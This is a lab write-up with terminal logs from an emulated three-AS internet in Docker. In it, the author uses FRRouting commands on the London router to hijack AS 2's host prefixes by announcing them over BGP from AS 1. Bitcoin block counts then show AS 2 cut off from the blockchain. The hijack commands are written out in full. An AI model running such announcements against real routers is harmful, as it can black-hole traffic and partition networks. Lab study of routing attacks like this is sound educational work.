Running startup.sh creates containers for 3 ASs.
AS 1 - London
AS 2 - Boston
AS 3 - Zurich

```
samraj@samraj-Standard-PC-Q35-ICH9-2009:~/Desktop/mini_internet_project/platform$ sudo docker ps
CONTAINER ID   IMAGE               COMMAND                  CREATED          STATUS          PORTS     NAMES
4b347694c61a   tkann/btc-reg-d     "./startup.sh"           5 minutes ago    Up 5 minutes              3_BOSThost
f33da41de78a   thomahol/d_router   "/usr/sbin/docker-st…"   5 minutes ago    Up 5 minutes              3_BOSTrouter
9ddad08d8752   tkann/btc-reg-d     "./startup.sh"           5 minutes ago    Up 5 minutes              3_L2_UNIV3_student_22
ba1e5f99392c   tkann/btc-reg-d     "./startup.sh"           5 minutes ago    Up 5 minutes              3_L2_UNIV3_student_21
a58ca3cbf6cc   thomahol/d_switch   "/usr/sbin/docker-st…"   6 minutes ago    Up 5 minutes              3_L2_UNIV3_CERN
a7a0ea34a8a8   thomahol/d_ssh      "/usr/sbin/docker-st…"   6 minutes ago    Up 6 minutes              3_ssh
c64012c9918c   tkann/btc-reg-d     "./startup.sh"           6 minutes ago    Up 6 minutes              2_ZURIhost
b23b6b7661fa   thomahol/d_router   "/usr/sbin/docker-st…"   6 minutes ago    Up 6 minutes              2_ZURIrouter
e4ae52bd41ec   tkann/btc-reg-d     "./startup.sh"           6 minutes ago    Up 6 minutes              2_L2_UNIV2_student_12
ce1a391ab841   tkann/btc-reg-d     "./startup.sh"           6 minutes ago    Up 6 minutes              2_L2_UNIV2_student_11
f1707cd60e9f   thomahol/d_switch   "/usr/sbin/docker-st…"   6 minutes ago    Up 6 minutes              2_L2_UNIV2_ETHZ
3abe30963aa9   thomahol/d_ssh      "/usr/sbin/docker-st…"   6 minutes ago    Up 6 minutes              2_ssh
54eae721261c   tkann/btc-reg-d     "./startup.sh"           6 minutes ago    Up 6 minutes              1_LONDhost
8a36686db142   thomahol/d_router   "/usr/sbin/docker-st…"   6 minutes ago    Up 6 minutes              1_LONDrouter
0e6bca59ab3a   tkann/btc-reg-d     "./startup.sh"           7 minutes ago    Up 7 minutes              1_L2_UNIV1_student_32
eb34e912fd34   tkann/btc-reg-d     "./startup.sh"           7 minutes ago    Up 7 minutes              1_L2_UNIV1_student_31
5d52131ac6f5   thomahol/d_switch   "/usr/sbin/docker-st…"   7 minutes ago    Up 7 minutes              1_L2_UNIV1_EPFL
09ffcd027ce8   thomahol/d_ssh      "/usr/sbin/docker-st…"   7 minutes ago    Up 7 minutes              1_ssh
```

From the London router, we enter the VTYSH shell to show the BGP routing table of AS 1.
We can see routes to each of the three AS.

```
samraj@samraj-Standard-PC-Q35-ICH9-2009:~/Desktop/mini_internet_project/platform$ sudo docker exec -it 1_LONDrouter bash
root@LOND_router:/# vtysh

Hello, this is FRRouting (version 7.5).
Copyright 1996-2005 Kunihiro Ishiguro, et al.

LOND_router# show ip bgp
BGP table version is 3, local router ID is 1.151.0.1, vrf id 0
Default local pref 100, local AS 1
Status codes:  s suppressed, d damped, h history, * valid, > best, = multipath,
               i internal, r RIB-failure, S Stale, R Removed
Nexthop codes: @NNN nexthop's vrf id, < announce-nh-self
Origin codes:  i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*> 1.0.0.0/8        0.0.0.0                  0         32768 i
*> 2.0.0.0/8        179.0.1.2                0     50     0 2 i
*> 3.0.0.0/8        179.0.2.2                0     50     0 3 i

Displayed  3 routes and 3 total paths
LOND_router#
```

From London router, we hijack the hosts of AS 2 by adding their IPs to the routing table of AS 1 and advertising this to the rest of the AS in the network.
From this screenshot, we can see the hosts are added to the router configuration terminal in AS 1, then the routing table shows that these IPs are now advertised.

```
Displayed  3 routes and 3 total paths
LOND_router# configure terminal
LOND_router(config)# ip route 2.101.0.1/30 Null0
LOND_router(config)# ip prefix-list OWN_PREFIX seq 10 permit 2.101.0.1/30
LOND_router(config)# router bgp 1
LOND_router(config-router)# network 2.101.0.1/30
LOND_router(config-router)# exit
LOND_router(config)# ip route 2.200.10.0/24
% Command incomplete: ip route 2.200.10.0/24
LOND_router(config)# ip route 2.200.10.0/24 Null 0
% Unknown command: ip route 2.200.10.0/24 Null 0
LOND_router(config)# ip route 2.200.10.0/24 Null0
LOND_router(config)# ip prefix-list OWN_PREFIX seq 15 permit 2.200.10.0/24
LOND_router(config)# router bgp 1
LOND_router(config-router)# network 2.200.10.0/24
LOND_router(config-router)# end
LOND_router# show ip bgp
BGP table version is 5, local router ID is 1.151.0.1, vrf id 0
Default local pref 100, local AS 1
Status codes:  s suppressed, d damped, h history, * valid, > best, = multipath,
               i internal, r RIB-failure, S Stale, R Removed
Nexthop codes: @NNN nexthop's vrf id, < announce-nh-self
Origin codes:  i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*> 1.0.0.0/8        0.0.0.0                  0           32768 i
*> 2.0.0.0/8        179.0.1.2                0      50      0 2 i
*> 2.101.0.1/30     0.0.0.0                  0           32768 i
*> 2.200.10.0/24    0.0.0.0                  0           32768 i
*> 3.0.0.0/8        179.0.2.2                0      50      0 3 i

Displayed  5 routes and 5 total paths
LOND_router#
```

To show how this hijack works, we can then run create a new block in the blockchain from a host in AS 3. Since we hijacked AS 2, the blocks should not appear in its hosts, but in all of the other hosts.

A block is generated using bitcoin-cli generate 1 from AS 3 and we see the blockcount is now 1 in AS 3.

```
samraj@samraj-Standard-PC-Q35-ICH9-2009:~/Desktop/mini_internet_project/platform$ sudo docker exec -it 3_L2_UNIV3_ bash
Error: No such container: 3_L2_UNIV3_
samraj@samraj-Standard-PC-Q35-ICH9-2009:~/Desktop/mini_internet_project/platform$ sudo docker exec -it 3_L2_UNIV3_student_22 bash
root@student_22:~# bitcoin-cli generate 1
error code: -1
error message:
generate
has been replaced by the -generate cli option. Refer to -help for more information.
root@student_22:~# bitcoin-cli -generate 1
{
  "address": "bcrt1qfvf8ek6j0s02zcy2f6d2avghfsfz2ducyxk4lu",
  "blocks": [
    "47b435bba0bd6ba223221f7ef01ae9af26f26e1a210debb55cee14ae53898c64"
  ]
}
root@student_22:~# bitcoin-cli getblockcount
1
root@student_22:~#
```

Additionally, the blockcount in AS 1 is also now 1 since it is properly connected to AS 3.

```
^[[Asamraj@samraj-Standard-PC-Q35-ICH9-2009:~/Desktop/mini_internet_project/platform$ sudo docker exec -it 1_L2_UNIV1_student_32 bash
[sudo] password for samraj:
root@student_32:~# bitcpin-cli getblockcount
1
root@student_32:~#
```

However, since AS 2 is hijacked, the blockcount in the hosts of this AS will be 0 since the messages no longer reach this AS.

```
samraj@samraj-Standard-PC-Q35-ICH9-2009:~/Desktop/mini_internet_project/platform$ sudo docker exec -it 2_ZURIhost bash
[sudo] password for samraj:
root@ZURI_host:~# bitcoin-cli getblockcount
0
root@ZURI_host:~#
```

```
samraj@samraj-Standard-PC-Q35-ICH9-2009:~/Desktop/mini_internet_project/platform$ sudo docker exec -it 2_L2_UNIV2_student_11 bash
[sudo] password for samraj:
root@student_11:~# bitcoin-cli getblockcount
0
root@student_11:~#
```

```
samraj@samraj-Standard-PC-Q35-ICH9-2009:~/Desktop/mini_internet_project/platform$ sudo docker exec -it 2_L2_UNIV2_student_12 bash
[sudo] password for samraj:
root@student_12:~# bitcoin-cli getblockcount
0
root@student_12:~#
```